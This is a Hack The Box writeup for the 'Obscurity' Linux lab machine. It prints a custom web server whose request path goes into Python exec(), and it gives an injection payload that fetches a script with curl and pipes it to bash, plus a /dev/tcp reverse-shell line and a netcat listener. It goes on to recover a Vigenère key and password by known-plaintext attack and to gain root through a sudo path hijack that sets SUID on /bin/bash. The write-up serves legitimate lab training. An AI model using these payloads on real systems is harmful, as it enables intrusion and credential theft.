writeup 2025-12-22 · 11 min read

Hack The Box Obscurity Writeup (Medium Linux)

Medium Linux box. A leaked SuperSecureServer.py runs the request path through exec(), a known plaintext attack recovers robert's key, and sudo gives root.

Hack The Box Obscurity Writeup (Medium Linux)

Summary

Obscurity is a Medium Linux machine whose web server on port 8080 brags about security through obscurity and leaks that its source lives in SuperSecureServer.py inside a secret development directory. ffuf finds that directory, and the source shows serveDoc feeding the URL decoded request path straight into a Python exec() call, so a path that breaks out of the string literal and calls os.system returns a reverse shell as www-data. In robert’s home directory, SuperSecureCrypt.py implements a Vigenere style cipher, and because check.txt is the plaintext of out.txt, subtracting one from the other recovers the key alexandrovich, which decrypts passwordreminder.txt to robert’s password SecThruObsFTW and allows an SSH login. robert may run /home/robert/BetterSSH/BetterSSH.py as root with sudo, and although the BetterSSH directory itself is root owned, it sits inside a directory robert can write, so renaming it and dropping a replacement script in its place runs arbitrary code as root. That script sets the SUID bit on /bin/bash, and bash -p gives a root shell.

Service Enumeration

Web Server Enumeration

The web server on port 8080 talks about security through obscurity:

Obscurity web server on port 8080 explaining its security through obscurity approach

They mention a few details about their infraestructure:

Page section listing details about the server infrastructure

And it also includes a message to the devs:

1
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

I search for this specific file that supposedly contains the source code for the webapp:

1
ffuf -u http://10.129.227.178:8080/FUZZ/SuperSecureServer.py -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 25 -debug-log ffuf-debug.log

Eventually find a hit:

1
develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171, Duration: 2075ms]

So I can get the source code using:

1
wget http://10.129.227.178:8080/develop/SuperSecureServer.py

Initial Access - Custom Web Server RCE

This is how the source code for the web server looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        # print(method, doc, vers) # added by the tester to debug
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
  
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
      
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Looking through it, this is a line of interest:

1
2
3
info = "output = 'Document: {}'" # Keep the output for later debug
print(info.format(path))  # debug added by the tester
exec(info.format(path)) # This is how you do string formatting, right?

If I can control what’s in the “path” variable, I can most likely execute code, since this is passed to the python built-in exec() function.

Ultimately, the “path” variable is created here:

1
2
3
4
def parseRequest(self, request):        
    req = request.strip("\r").split("\n")
    method,doc,vers = req[0].split(" ")  # path = this "doc" variable, ultimately
    print(method, doc, vers) # added by the tester to debug

In order to debug how this “doc” variable looks like, I add the following lines to the end of the server script to start the server, listening on port 9090:

1
2
3
server = Server('localhost', 9090)

server.listen()

If I access http://localhost:9090/test now, I can see, thanks to the debug print statements I added to the code, exactly how this “output” variable looks like. It’s simply adds my http path:

Local debug run printing the output variable with the requested HTTP path inside it

I create “shell.sh” locally:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

I start a simple http server with python:

1
sudo python3 -m http.server 80

And a netcat listener on port 9999:

1
nc -lvnp 9999

And I use the following payload to make the server execute commands (http://localhost:9090/anything';os.system('setsid%20curl%2010.10.14.57/shell.sh|bash');test='):

1
anything';os.system('setsid curl 10.10.14.57/shell.sh|bash');test='

As you can see from the screenshot below, the server never errors out, gets my shell.sh and executes with bash:

Local copy of the server accepting the injected path and fetching shell.sh without erroring

I use this same payload against the server:

1
http://10.129.227.178:8080/anything';os.system('setsid%20curl%2010.10.14.57/shell.sh|bash');test='

This lands me a shell on the system as www-data:

netcat listener receiving the reverse shell as www-data from the box

Horizontal Privilege Escalation - Broken Encryption

As www-data in the system, I can access the home folder for the “robert” user at /home/robert. There’s a python script named “SuperSecureCrypt.py”. It performs encryption like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

This is a Vigenère-style cipher that’s vulnerable to known-plaintext attacks. If we know both the plaintext and ciphertext, we can trivially recover the key.

The encryption formula is:

1
C[i] = (P[i] + K[i mod keylen]) % 255

Where:

  • C[i] = ciphertext character at position i

  • P[i] = plaintext character at position i

  • K[i] = key character (repeating)

To reverse this:

1
K[i] = (C[i] - P[i]) % 255

Step 1: Extract the Data

1
2
3
4
5
www-data@obscure:/home/robert$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

www-data@obscure:/home/robert$ cat out.txt | base64 -w 0
wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vDmsOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOVw6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PDpMOhw5vDjMOXwonCgXY=

Step 2: Decode the Ciphertext

The ciphertext is base64-encoded. After decoding, we need to interpret it as UTF-8:

1
2
3
4
5
import base64

ciphertext_b64 = "wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vDmsOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOVw6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PDpMOhw5vDjMOXwonCgXY="

ciphertext = base64.b64decode(ciphertext_b64).decode('utf-8')

Step 3: Perform Known-Plaintext Attack

Since we have both plaintext and ciphertext, we can recover the key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

ciphertext_b64 = "wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vDmsOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOVw6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PDpMOhw5vDjMOXwonCgXY="
ciphertext = base64.b64decode(ciphertext_b64).decode('utf-8')

plaintext = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"

# Recover each character of the key
recovered_key = ""
for i in range(len(plaintext)):
    # Apply the reverse formula: K = (C - P) mod 255
    key_char_value = (ord(ciphertext[i]) - ord(plaintext[i])) % 255
    recovered_key += chr(key_char_value)

print(recovered_key)

Output:

1
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrov

Result:

1
Key: alexandrovich

Now, as www-data in the victim machine, I can use this key to decrypt “passwordreminder.txt”:

1
www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o/tmp/dec.dec -k alexandrovich -d

It saves the output to /tmp/dec.dec, with the following contents:

1
2
www-data@obscure:/home/robert$ cat /tmp/dec.dec 
SecThruObsFTW

With that, new credentials:

1
2
Username: robert
Password: SecThruObsFTW

And I can log in to the machine via SSH:

1
ssh robert@obscure.htb

Vertical Privilege Escalation

The user “robert” has the following sudo privileges:

1
2
3
4
5
6
7
-bash-4.4$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

It can run /home/robert/BetterSSH/BetterSSH.py as root. This is how the code looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

It’s important to note though that this script is located at robert’s home folder, and “robert” has write access to it:

1
2
3
www-data@obscure:/home/robert$ ls -l /home 
total 4
drwxr-xr-x 8 robert robert 4096 Dec 21 21:29 robert

These are the permissions for /home/robert/BetterSSH:

1
drwxr-xr-x 2 root   root   4096 May  9  2022 BetterSSH

Even though it’s owned by root, since this is located in a folder I have write/execute permissions to, I can rename this folder! I simply rename it to “test”:

1
mv BetterSSH test

And now I can create my own script at /home/robert/BetterSSH/BetterSSH.py. This is my script:

1
2
3
4
www-data@obscure:/home/robert$ cat BetterSSH/BetterSSH.py 
import os

os.system('chmod +s /bin/bash')

I run it as root:

1
sudo -u root /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Then run bash privileged:

1
/bin/bash -p

And as you can see from the screenshot below, I’m root!

bash -p session showing a root prompt after the SUID bit was set

This post is licensed under CC BY 4.0 by the author.